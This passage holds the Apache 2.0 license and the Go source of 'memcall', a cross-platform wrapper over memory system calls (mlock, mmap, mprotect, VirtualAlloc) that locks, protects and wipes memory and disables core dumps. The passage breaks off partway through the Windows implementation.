|
|||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright {yyyy} {name of copyright owner}
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
memcall
|
||||
-------
|
||||
|
||||
[](https://cirrus-ci.com/github/awnumar/memcall)
|
||||
[](https://godoc.org/github.com/awnumar/memcall)
|
||||
[](https://goreportcard.com/report/github.com/awnumar/memcall)
|
||||
|
||||
This package provides a cross-platform wrapper over some common memory-related system calls.
|
||||
|
||||
Please report any issues that you experience.
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
package memcall
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"runtime"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// MemoryProtectionFlag specifies some particular memory protection flag.
|
||||
type MemoryProtectionFlag struct {
|
||||
// NOACCESS := 1 (0001)
|
||||
// READ := 2 (0010)
|
||||
// WRITE := 4 (0100) // unused
|
||||
// READWRITE := 6 (0110)
|
||||
|
||||
flag byte
|
||||
}
|
||||
|
||||
// NoAccess specifies that the memory should be marked unreadable and immutable.
|
||||
func NoAccess() MemoryProtectionFlag {
|
||||
return MemoryProtectionFlag{1}
|
||||
}
|
||||
|
||||
// ReadOnly specifies that the memory should be marked read-only (immutable).
|
||||
func ReadOnly() MemoryProtectionFlag {
|
||||
return MemoryProtectionFlag{2}
|
||||
}
|
||||
|
||||
// ReadWrite specifies that the memory should be made readable and writable.
|
||||
func ReadWrite() MemoryProtectionFlag {
|
||||
return MemoryProtectionFlag{6}
|
||||
}
|
||||
|
||||
// ErrInvalidFlag indicates that a given memory protection flag is undefined.
|
||||
const ErrInvalidFlag = "<memcall> memory protection flag is undefined"
|
||||
|
||||
// Wipes a given byte slice.
|
||||
func wipe(buf []byte) {
|
||||
for i := range buf {
|
||||
buf[i] = 0
|
||||
}
|
||||
runtime.KeepAlive(buf)
|
||||
}
|
||||
|
||||
// Placeholder variable for when we need a valid pointer to zero bytes.
|
||||
var _zero uintptr
|
||||
|
||||
// Auxiliary functions.
|
||||
func _getStartPtr(b []byte) unsafe.Pointer {
|
||||
if len(b) > 0 {
|
||||
return unsafe.Pointer(&b[0])
|
||||
}
|
||||
return unsafe.Pointer(&_zero)
|
||||
}
|
||||
|
||||
func _getPtr(b []byte) uintptr {
|
||||
return uintptr(_getStartPtr(b))
|
||||
}
|
||||
|
||||
func _getBytes(ptr uintptr, len int, cap int) []byte {
|
||||
var sl = reflect.SliceHeader{Data: ptr, Len: len, Cap: cap}
|
||||
return *(*[]byte)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
|
@ -0,0 +1,102 @@
|
|||
// +build aix
|
||||
|
||||
package memcall
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// Lock is a wrapper for mlock(2).
|
||||
func Lock(b []byte) error {
|
||||
if err := unix.Mlock(b); err != nil {
|
||||
if errors.Is(err, unix.EPERM) {
|
||||
// per mlock(2): The calling process must have the root user authority to use this subroutine.
|
||||
return fmt.Errorf("<memcall> could not acquire lock on %p, do you have PV_ROOT? [Err: %s]", _getStartPtr(b), err)
|
||||
} else {
|
||||
return fmt.Errorf("<memcall> could not acquire lock on %p, limit reached? [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Unlock is a wrapper for munlock(2).
|
||||
func Unlock(b []byte) error {
|
||||
if err := unix.Munlock(b); err != nil {
|
||||
if errors.Is(err, unix.EPERM) {
|
||||
// per munlock(2): The calling process must have the root user authority to use this subroutine.
|
||||
return fmt.Errorf("<memcall> could not free lock on %p, do you have PV_ROOT? [Err: %s]", _getStartPtr(b), err)
|
||||
} else {
|
||||
return fmt.Errorf("<memcall> could not free lock on %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Alloc allocates a byte slice of length n and returns it.
|
||||
func Alloc(n int) ([]byte, error) {
|
||||
// Allocate the memory.
|
||||
b, err := unix.Mmap(-1, 0, n, unix.PROT_READ|unix.PROT_WRITE, unix.MAP_PRIVATE|unix.MAP_ANON)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("<memcall> could not allocate [Err: %s]", err)
|
||||
}
|
||||
|
||||
// Wipe it just in case there is some remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Return the allocated memory.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Free deallocates the byte slice specified.
|
||||
func Free(b []byte) error {
|
||||
// Make the memory region readable and writable.
|
||||
if err := Protect(b, ReadWrite()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Wipe the memory region in case of remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Free the memory back to the kernel.
|
||||
if err := unix.Munmap(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not deallocate %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Protect modifies the protection state for a specified byte slice.
|
||||
func Protect(b []byte, mpf MemoryProtectionFlag) error {
|
||||
var prot int
|
||||
if mpf.flag == ReadWrite().flag {
|
||||
prot = unix.PROT_READ | unix.PROT_WRITE
|
||||
} else if mpf.flag == ReadOnly().flag {
|
||||
prot = unix.PROT_READ
|
||||
} else if mpf.flag == NoAccess().flag {
|
||||
prot = unix.PROT_NONE
|
||||
} else {
|
||||
return errors.New(ErrInvalidFlag)
|
||||
}
|
||||
|
||||
// Change the protection value of the byte slice.
|
||||
if err := unix.Mprotect(b, prot); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set %d on %p [Err: %s]", prot, _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DisableCoreDumps disables core dumps on Unix systems.
|
||||
func DisableCoreDumps() error {
|
||||
// Disable core dumps.
|
||||
if err := unix.Setrlimit(unix.RLIMIT_CORE, &unix.Rlimit{Cur: 0, Max: 0}); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set rlimit [Err: %s]", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
// +build freebsd
|
||||
|
||||
package memcall
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// Lock is a wrapper for unix.Mlock(), with extra precautions.
|
||||
func Lock(b []byte) error {
|
||||
// Advise the kernel not to dump. Ignore failure.
|
||||
unix.Madvise(b, unix.MADV_NOCORE)
|
||||
|
||||
// Call mlock.
|
||||
if err := unix.Mlock(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not acquire lock on %p, limit reached? [Err: %s]", &b[0], err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Unlock is a wrapper for unix.Munlock().
|
||||
func Unlock(b []byte) error {
|
||||
if err := unix.Munlock(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not free lock on %p [Err: %s]", &b[0], err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Alloc allocates a byte slice of length n and returns it.
|
||||
func Alloc(n int) ([]byte, error) {
|
||||
// Allocate the memory.
|
||||
b, err := unix.Mmap(-1, 0, n, unix.PROT_READ|unix.PROT_WRITE, unix.MAP_PRIVATE|unix.MAP_ANONYMOUS|unix.MAP_NOCORE)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("<memcall> could not allocate [Err: %s]", err)
|
||||
}
|
||||
|
||||
// Wipe it just in case there is some remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Return the allocated memory.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Free deallocates the byte slice specified.
|
||||
func Free(b []byte) error {
|
||||
// Make the memory region readable and writable.
|
||||
if err := Protect(b, ReadWrite()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Wipe the memory region in case of remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Free the memory back to the kernel.
|
||||
if err := unix.Munmap(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not deallocate %p [Err: %s]", &b[0], err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Protect modifies the protection state for a specified byte slice.
|
||||
func Protect(b []byte, mpf MemoryProtectionFlag) error {
|
||||
var prot int
|
||||
if mpf.flag == ReadWrite().flag {
|
||||
prot = unix.PROT_READ | unix.PROT_WRITE
|
||||
} else if mpf.flag == ReadOnly().flag {
|
||||
prot = unix.PROT_READ
|
||||
} else if mpf.flag == NoAccess().flag {
|
||||
prot = unix.PROT_NONE
|
||||
} else {
|
||||
return errors.New(ErrInvalidFlag)
|
||||
}
|
||||
|
||||
// Change the protection value of the byte slice.
|
||||
if err := unix.Mprotect(b, prot); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set %d on %p [Err: %s]", prot, &b[0], err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DisableCoreDumps disables core dumps on Unix systems.
|
||||
func DisableCoreDumps() error {
|
||||
// Disable core dumps.
|
||||
if err := unix.Setrlimit(unix.RLIMIT_CORE, &unix.Rlimit{Cur: 0, Max: 0}); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set rlimit [Err: %s]", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
|
@ -0,0 +1,93 @@
|
|||
// +build openbsd
|
||||
|
||||
package memcall
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// Lock is a wrapper for mlock(2).
|
||||
func Lock(b []byte) error {
|
||||
// Call mlock.
|
||||
if err := unix.Mlock(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not acquire lock on %p, limit reached? [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Unlock is a wrapper for munlock(2).
|
||||
func Unlock(b []byte) error {
|
||||
if err := unix.Munlock(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not free lock on %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Alloc allocates a byte slice of length n and returns it.
|
||||
func Alloc(n int) ([]byte, error) {
|
||||
// Allocate the memory.
|
||||
b, err := unix.Mmap(-1, 0, n, unix.PROT_READ|unix.PROT_WRITE, unix.MAP_PRIVATE|unix.MAP_ANON|unix.MAP_CONCEAL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("<memcall> could not allocate [Err: %s]", err)
|
||||
}
|
||||
|
||||
// Wipe it just in case there is some remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Return the allocated memory.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Free deallocates the byte slice specified.
|
||||
func Free(b []byte) error {
|
||||
// Make the memory region readable and writable.
|
||||
if err := Protect(b, ReadWrite()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Wipe the memory region in case of remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Free the memory back to the kernel.
|
||||
if err := unix.Munmap(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not deallocate %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Protect modifies the protection state for a specified byte slice.
|
||||
func Protect(b []byte, mpf MemoryProtectionFlag) error {
|
||||
var prot int
|
||||
if mpf.flag == ReadWrite().flag {
|
||||
prot = unix.PROT_READ | unix.PROT_WRITE
|
||||
} else if mpf.flag == ReadOnly().flag {
|
||||
prot = unix.PROT_READ
|
||||
} else if mpf.flag == NoAccess().flag {
|
||||
prot = unix.PROT_NONE
|
||||
} else {
|
||||
return errors.New(ErrInvalidFlag)
|
||||
}
|
||||
|
||||
// Change the protection value of the byte slice.
|
||||
if err := unix.Mprotect(b, prot); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set %d on %p [Err: %s]", prot, _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DisableCoreDumps disables core dumps on Unix systems.
|
||||
func DisableCoreDumps() error {
|
||||
// Disable core dumps.
|
||||
if err := unix.Setrlimit(unix.RLIMIT_CORE, &unix.Rlimit{Cur: 0, Max: 0}); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set rlimit [Err: %s]", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
|
@ -0,0 +1,92 @@
|
|||
// +build darwin
|
||||
|
||||
package memcall
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// Lock is a wrapper for mlock(2).
|
||||
func Lock(b []byte) error {
|
||||
if err := unix.Mlock(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not acquire lock on %p, limit reached? [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Unlock is a wrapper for munlock(2).
|
||||
func Unlock(b []byte) error {
|
||||
if err := unix.Munlock(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not free lock on %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Alloc allocates a byte slice of length n and returns it.
|
||||
func Alloc(n int) ([]byte, error) {
|
||||
// Allocate the memory.
|
||||
b, err := unix.Mmap(-1, 0, n, unix.PROT_READ|unix.PROT_WRITE, unix.MAP_PRIVATE|unix.MAP_ANON)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("<memcall> could not allocate [Err: %s]", err)
|
||||
}
|
||||
|
||||
// Wipe it just in case there is some remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Return the allocated memory.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Free deallocates the byte slice specified.
|
||||
func Free(b []byte) error {
|
||||
// Make the memory region readable and writable.
|
||||
if err := Protect(b, ReadWrite()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Wipe the memory region in case of remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Free the memory back to the kernel.
|
||||
if err := unix.Munmap(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not deallocate %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Protect modifies the protection state for a specified byte slice.
|
||||
func Protect(b []byte, mpf MemoryProtectionFlag) error {
|
||||
var prot int
|
||||
if mpf.flag == ReadWrite().flag {
|
||||
prot = unix.PROT_READ | unix.PROT_WRITE
|
||||
} else if mpf.flag == ReadOnly().flag {
|
||||
prot = unix.PROT_READ
|
||||
} else if mpf.flag == NoAccess().flag {
|
||||
prot = unix.PROT_NONE
|
||||
} else {
|
||||
return errors.New(ErrInvalidFlag)
|
||||
}
|
||||
|
||||
// Change the protection value of the byte slice.
|
||||
if err := unix.Mprotect(b, prot); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set %d on %p [Err: %s]", prot, _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DisableCoreDumps disables core dumps on Unix systems.
|
||||
func DisableCoreDumps() error {
|
||||
// Disable core dumps.
|
||||
if err := unix.Setrlimit(unix.RLIMIT_CORE, &unix.Rlimit{Cur: 0, Max: 0}); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set rlimit [Err: %s]", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
|
@ -0,0 +1,96 @@
|
|||
// +build !windows,!darwin,!openbsd,!freebsd,!aix
|
||||
|
||||
package memcall
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// Lock is a wrapper for mlock(2), with extra precautions.
|
||||
func Lock(b []byte) error {
|
||||
// Advise the kernel not to dump. Ignore failure.
|
||||
unix.Madvise(b, unix.MADV_DONTDUMP)
|
||||
|
||||
// Call mlock.
|
||||
if err := unix.Mlock(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not acquire lock on %p, limit reached? [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Unlock is a wrapper for munlock(2).
|
||||
func Unlock(b []byte) error {
|
||||
if err := unix.Munlock(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not free lock on %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Alloc allocates a byte slice of length n and returns it.
|
||||
func Alloc(n int) ([]byte, error) {
|
||||
// Allocate the memory.
|
||||
b, err := unix.Mmap(-1, 0, n, unix.PROT_READ|unix.PROT_WRITE, unix.MAP_PRIVATE|unix.MAP_ANONYMOUS)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("<memcall> could not allocate [Err: %s]", err)
|
||||
}
|
||||
|
||||
// Wipe it just in case there is some remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Return the allocated memory.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Free deallocates the byte slice specified.
|
||||
func Free(b []byte) error {
|
||||
// Make the memory region readable and writable.
|
||||
if err := Protect(b, ReadWrite()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Wipe the memory region in case of remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Free the memory back to the kernel.
|
||||
if err := unix.Munmap(b); err != nil {
|
||||
return fmt.Errorf("<memcall> could not deallocate %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Protect modifies the protection state for a specified byte slice.
|
||||
func Protect(b []byte, mpf MemoryProtectionFlag) error {
|
||||
var prot int
|
||||
if mpf.flag == ReadWrite().flag {
|
||||
prot = unix.PROT_READ | unix.PROT_WRITE
|
||||
} else if mpf.flag == ReadOnly().flag {
|
||||
prot = unix.PROT_READ
|
||||
} else if mpf.flag == NoAccess().flag {
|
||||
prot = unix.PROT_NONE
|
||||
} else {
|
||||
return errors.New(ErrInvalidFlag)
|
||||
}
|
||||
|
||||
// Change the protection value of the byte slice.
|
||||
if err := unix.Mprotect(b, prot); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set %d on %p [Err: %s]", prot, _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DisableCoreDumps disables core dumps on Unix systems.
|
||||
func DisableCoreDumps() error {
|
||||
// Disable core dumps.
|
||||
if err := unix.Setrlimit(unix.RLIMIT_CORE, &unix.Rlimit{Cur: 0, Max: 0}); err != nil {
|
||||
return fmt.Errorf("<memcall> could not set rlimit [Err: %s]", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
// +build windows
|
||||
|
||||
package memcall
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Lock is a wrapper for windows.VirtualLock()
|
||||
func Lock(b []byte) error {
|
||||
if err := windows.VirtualLock(_getPtr(b), uintptr(len(b))); err != nil {
|
||||
return fmt.Errorf("<memcall> could not acquire lock on %p, limit reached? [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Unlock is a wrapper for windows.VirtualUnlock()
|
||||
func Unlock(b []byte) error {
|
||||
if err := windows.VirtualUnlock(_getPtr(b), uintptr(len(b))); err != nil {
|
||||
return fmt.Errorf("<memcall> could not free lock on %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Alloc allocates a byte slice of length n and returns it.
|
||||
func Alloc(n int) ([]byte, error) {
|
||||
// Allocate the memory.
|
||||
ptr, err := windows.VirtualAlloc(_zero, uintptr(n), 0x1000|0x2000, 0x4)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("<memcall> could not allocate [Err: %s]", err)
|
||||
}
|
||||
|
||||
// Convert this pointer to a slice.
|
||||
b := _getBytes(ptr, n, n)
|
||||
|
||||
// Wipe it just in case there is some remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Return the allocated memory.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Free deallocates the byte slice specified.
|
||||
func Free(b []byte) error {
|
||||
// Make the memory region readable and writable.
|
||||
if err := Protect(b, ReadWrite()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Wipe the memory region in case of remnant data.
|
||||
wipe(b)
|
||||
|
||||
// Free the memory back to the kernel.
|
||||
if err := windows.VirtualFree(_getPtr(b), uintptr(0), 0x8000); err != nil {
|
||||
return fmt.Errorf("<memcall> could not deallocate %p [Err: %s]", _getStartPtr(b), err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Protect modifies the memory protection flags for a specified byte slice.
|
||||
func Protect(b []byte, mpf MemoryProtectionFlag) error {
|
||||
var prot int
|
||||
